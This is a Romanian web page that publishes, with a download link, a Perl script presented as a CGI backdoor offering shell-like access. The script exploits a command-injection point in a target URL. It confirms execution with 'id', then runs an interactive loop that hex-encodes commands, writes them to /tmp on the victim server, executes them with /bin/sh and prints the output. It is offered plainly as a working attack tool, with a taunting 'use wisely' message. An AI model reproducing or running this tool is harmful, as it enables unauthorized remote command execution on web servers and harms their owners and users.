forum share
   textsms      forum    

Perl CGI Shell

INDEX \ Articole/intrebari \ Perl CGI Shell

Perl CGI Shell

text_format+  text_format-


This is a Perl CGI backdoor that provides shell-like capability.

#!/usr/bin/perl

# adaptive cgi shell by oxagast

use LWP::Simple;
$part1 = @ARGV[0]; $part2 = @ARGV[1];
print "Making buffer...\n";
for $bet (100..200) {
  $bettwo = $bettwo . "AAAA" . $bet . "AAAA\\\\n";
}
print "Exploiting...\n";
$id = get("$part1\|id\|$part2");
$id =~ m/(uid=\d+\(.*\) gid=\d+\(.*\) groups=\d+\(.*\))/;
print "Well shizzle my nizzle... shell by oxagast... use wisely \;\)\n\n";
$uid = $1;
print "$uid\n";
while (0 == 0) {
  print "\$ ";
  $cmd = ;
  chomp($cmd);
  if ($cmd =~ m/cd (\/.*)/) {
    $dir = $1;
  }
  if ($cmd eq "cd ..") {
    $dir =~ s/(.*)\/.*/\/\1/;
  }
  if ($cmd eq "pwd") {
    $dirjunk = $dir;
    if ($dirjunk eq "//") {
      $dirjunk = "/";
    }
  }
  $dirjunk = "cd $dir\;$cmd";  
  $cmdhex = unpack("H*","$dirjunk &>/tmp/cmdlnerr");
  $cmdhex =~ s/(..)/\\\\x$1/g;
  get("$part1\|echo -e $bettwo > /tmp/buff\|$part2");
  $backjunk2 = get("$part1\|cat /tmp/buff\|$part2");
  @backjunk = split("\n", $backjunk2);
  get("$part1\|echo -e \"$cmdhex\" > /tmp/cmdln\|$part2");
  get("$part1\|/bin/sh /tmp/cmdln > /tmp/cmdlerr\|$part2");
  $backjunk_as = get("$part1\|cat /tmp/cmdlnerr\|$part2");
  @backjunk_split = split("\n", $backjunk_as);
  $backjunk_wcl = get("$part1\|wc -l /tmp/cmdlnerr\|$part2");
  $backjunk_wcl =~ m/(\d+) \/tmp\/cmdlnerr/m;
  $thismanylines = $1 - 1;
  for $junknum (0..scalar(@backjunk_split)) {
    for $fuzz (10..100+$thismanylines) {
      if ($backjunk[$junknum] =~ m/(AAAA\Q$fuzz\EAAAA)/) {
      $middle = $1;
      @backjunk[$junknum] =~ m/(.*)\Q$middle\E/;
      @backjunk_split[$junknum] =~ s/$1//;
      @backjunk[$junknum] =~ m/\Q$middle\E(.*)/;
      @backjunk_split[$junknum] =~ s/$1//;
      print "$backjunk_split[$junknum]\n";
      }
    }
  }
}


Download Perl CGI Shell...




update Ultima actualizare: 03/011/2011
done Informatiile cuprinse in aceasta sectiune sunt verificate si actualizate periodic.

list Articole recente
arrow_back Inapoi


© 2025 EVIDWEB. Toate drepturile rezervate. Design: EVIDWEB

share   forum   textsms